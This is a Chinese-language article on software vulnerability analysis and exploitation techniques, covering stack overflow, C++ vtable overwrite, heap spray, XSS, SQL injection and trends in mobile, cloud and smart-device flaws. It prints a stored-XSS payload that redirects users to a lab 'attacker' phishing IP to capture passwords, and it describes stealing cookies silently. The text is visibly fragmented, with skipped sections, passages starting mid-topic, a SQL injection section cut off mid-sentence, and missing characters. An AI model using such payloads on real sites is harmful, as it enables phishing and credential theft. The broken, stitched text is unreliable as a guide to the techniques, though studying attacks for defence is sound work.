1. 软件漏洞分析简述
1.1 漏洞的定义
漏洞,也叫脆弱性(英语:Vulnerability),是指计算机系统安全方面的缺陷,使得系统或其应用数据的保密性、完整性、可用性、访问控制等面临威胁。
1.1.1 漏洞在各时间阶段的名称
根据是否公开分为:未公开漏洞、已公开漏洞
根据漏洞是否发现分为:未知漏洞、已知漏洞
根据补丁和利用价值是否发布分为:0day漏洞、1day漏洞、历史漏洞
2.1 软件架构安全分析
软件架构是软件的“骨架”,是软件开发生命周期中代码编写的基础。在此阶段进行软件漏洞的分析具有指导性的意义,能够及时发现有问题的部分并进行修正,可以减少后期的维护和产生的危害。图2.2是软件架构安全分析的基本原理。
2.2 源代码漏洞分析
源代码漏洞分析主要是对高级语言编写的程序进行分析以发现漏洞。源代码作为软件的最初原型,其中的安全缺陷可能直接导致软件漏洞分产生,因此源代码漏洞分析显得尤为重要。目前源代码漏洞分析主要采用静态分析的方法,由于该方法不受程序的输入和运行环境等因素的影响,所以可能发现动态分析难以发现的软件漏洞。源代码漏洞分析一般包含源代码的模型提取,对历史漏洞、程序代码进行特征提取,静态的漏洞分析和结果分析等四个步骤,通过这四个步骤完成对源代码的漏洞分析,结构图如图2.4所示。
二进制漏洞分析技术种类繁多,从程序是否运行的角度可以分为:静态分析技术和动态分析技术;从操作的自动化角度可以分为手动分析和自动/半自动分析。本次汇 的介绍主要针对程序是否运行的角度进行实验,从此角度出发我们将二进制漏洞分析技术分为:静态分析、动态分析和动静态结合分析,实验中以动态分析为主,静态分析为辅进行漏洞的分析。
2.4 运行系统漏洞分析
系统是多种软件或者模块的有机整体,因此运行系统漏洞分析技术相对于单个软件的漏洞分析变现出:更加复杂,分析难度更大等特点。目前,漏洞分析人员通过信息搜集、漏洞检测和漏洞确认三个步骤对运行的系统进行漏洞分析,其过程如图2.6所示。
3 主要的漏洞攻击技术
正所谓:知己知彼百战百胜,只有具备犯罪能力的人才能洞察他人的犯罪行为。做为一个白帽子的安全人员,需要对黑帽子(攻击者)所使用的攻击技术进行学习,才能以攻击者的角度对软件或者系统等进行漏洞的挖掘、分析和修复。本部分主要介绍现实中一些主要的漏洞攻击技术,包括:栈溢出、堆溢出、S.E.H的利用、攻击C++的虚函数、Heap Spray、XSS(Cross Site Script)、sql注入等。
3.1 栈溢出
3.1.1 栈简介
栈,即堆栈,是一种具有一定规则的数据结构,它按照先进后出的原则存储数据,先进入的数据被压入栈底,最后的数据在栈顶。称之为“栈”是因为发生函数调用时,调用函数(caller)的状态被保存在栈内,被调用函数(callee)的状态被压入调用栈的栈顶;在函数调用结束时,栈顶的函数(callee)状态被弹出,栈顶恢复到调用函数(caller)的状态。函数调用栈在内存中从高地址向低地址生长,所以栈顶对应的内存地址在压栈时变小,退栈时变大。
堆栈数据结构的两种基本操作:
-
PUSH:将数据压入栈顶
-
POP :将栈顶数据弹出
3.1.2 栈溢出利用
本次实验采用函数调用的形式,此时会为被调用的函数开辟一个临时的栈空间,然后在被调用函数中创建一个buffer缓冲区用于栈溢出(即当覆盖缓冲区大小超过buffer的大小时则会破坏外面的存储空间),其原理如图3.1所示。
3.3.2 攻击C++虚函数
实验代码(如图3.9所示)同样使用栈溢出的方式进行利用,这里的区别在于覆盖的是虚表指针。通过虚函数的结构知道虚表指针位于其他成员变量前4字节处,故我们通过buf的指针地址-4即为虚表指针(p_vtable)地址,首先将虚表指针覆盖为我们即将复制字符串的后4个字节的起始地址0x004088CC,然后将该4个字节覆盖为buf的起始地址0x0040881C,该过程实现了:当程序调用虚函数时会去查找我们覆盖的虚变指针(此时指向复制字符串的后4字节处0x004088CC),然后去该4字节处查找虚函数(此时指向buf起始地址0x0040881C),因此我们设计的机器代码得到了执行,其覆盖效果示意图如图3.10所示,其执行效果同上。
3.4 Heap Spray简介
针对浏览器的攻击中,常常结合使用堆和栈协同利用漏洞。在页面中,我们通过JavaScript可以申请堆内存,这使得我们可以把需要执行的代码布置到JavaScript申请到的堆块中。
在使用HeapSpray的时候,一般将EIP(指令寄存器)指向0x0A0A0A0A(160M),0x0C0C0C0C(192M),0x0D0D0D0D(208M)等几个地址(其由先人实验得出),然后通过JavaScript申请大量内存,内存中包括我们需要执行的代码。该技术的利用示意图如图3.11所示。由于此攻击技术主要配合浏览器漏洞实现,故此处没有进行进一步的实验。
对比弹出消息框于接收的Cookie可能发现类似,但不太一样,出现该原因是web应用程序会将请求中的一些字符进行URL编码,将其进行解码得到相同的数据,成功窃取用户的Cookie。在实际攻击中,应该删除alert脚本,那么用户在访问漏洞页面时并不会察觉到自己的Cookie已经泄露,使得用户不会察觉出异常而对账 密码进行修改等操作。
3.5.3 利用XSS重定向攻击者搭建的钓鱼 站
在本次实验中我们使用的攻击脚本为:<script>window.location=“http://192.168.25.1/dvwa/vulnerabilities/xss_s/”</script>,其中window.location用于重定向操作,192.168.25.1为攻击者设计的跟用户访问 站相似的钓鱼 站ip。本次实验和利用XSS获取用户的Cookie实验类型,都将脚本存在用户信息中,当再次访问该页面则触发脚本,重定向到攻击者设计的钓鱼 站,效果如图3.15所示,即让用户输入账 密码,当用户上当输入账 密码之后,攻击者则成功获取了用户的信息。
3.6.2 SQL注入利用
本次实验分析的测试用例和方法主要针对MySQL,不同数据库测试方法有一些差异,但大同小异。这里假设demo为查询所要提交的值,首先通过
4 软件漏洞的发展趋势
近几年,随着信息化的快速发展,对于软件漏洞分析技术和漏洞利用技术已经趋向于成熟化,很多黑客也利用这些技术进行攻击,正因为如此,极大地推进了软件漏洞领域的发展,如微软在Windows增加的GS、SafeSEH、DEP、ASLR、SEHOP等安全机制,使得原有的软件漏洞利用技术更加困难,从而大大提高了Windows的安全性。
下面,我们将分析软件漏洞面临的主要挑战。
4.1 移动终端漏洞
现在移动设备随处可见,以智能手机为主的移动终端也逐渐被黑客所关注。随着移动设备的普及,针对移动设备的漏洞和病毒迅速增加,最受影响的移动设备主要为Android和IOS。除了移动设备本身的操作系统外,安装在系统上的其他应用程序也可能引发漏洞。
这里根据CVE漏洞库(Common Vulnerabilities and Exposures),绘制出Android系统漏洞和IOS系统漏洞的2009-2015年每年漏洞数量统计图,如图4.1-4.2所示。
对于Android操作系统,由于其系统的开放性,除了系统本身存在的一些漏洞之外,其允许第三方应用程序随意安装在该系统上,这使得黑客可以对第三方应用程序进行漏洞挖掘并对漏洞进行利用,从而大大增大了Android移动设备的风险。
对于IOS操作系统,由于其系统的封闭性和自身的安全性,使得漏洞攻击门槛比Android高很多,所以针对IOS平台的漏洞,在黑市中的价格非常高。如IOS越狱,在越狱中使用的漏洞是非常有价值的,一个越狱漏洞可能卖到50多万美元。
综上,移动终端除了要提高操作系统本身的安全性之外,还需要对第三方软件、插件等进行严格的检查测试才能放上应用商城,若系统或者应用程序出现漏洞,应该强制用户进行升级,减少用户被攻击的风险。
4.2 云计算平台漏洞
近些年来,云计算平台可以让用户将自己的程序在云上进行运行,同时享受云所提供的服务和资源,节约了用户的软硬件成本,这使得云计算平台越来越流行。国内的云平台主要有阿里云、腾讯云、新浪SAE、百度云、盛大云等,国外的有Google
GAE、亚马逊AWS、微软Azure等。
从云计算平台构建结构来分,可以分为如图4.3所示的结构。
由于智能设备刚刚起步不久,业界对智能设备安全的经验不足,加上业界缺乏统一技术标准,导致一些隐患的存在。下面则是一些例子:
-
对智能门锁进行破解后,就可能被入室盗窃,直接危害个人财产安全;
-
若pos机子存在被劫持盗刷的漏洞,攻击者可以无需密码和银行卡的情况下直接盗取银行卡上的钱;
-
对智能摄像头的漏洞进行利用,可以篡改监控视频、对视频内容进行获取等,如图4.5所示。

欢迎批评指正,若图片等等影响阅读,可以通过下载我上传的文档进行阅读!!!
声明:本站部分文章及图片源自用户投稿,如本站任何资料有侵权请您尽早请联系jinwei@zod.com.cn进行处理,非常感谢!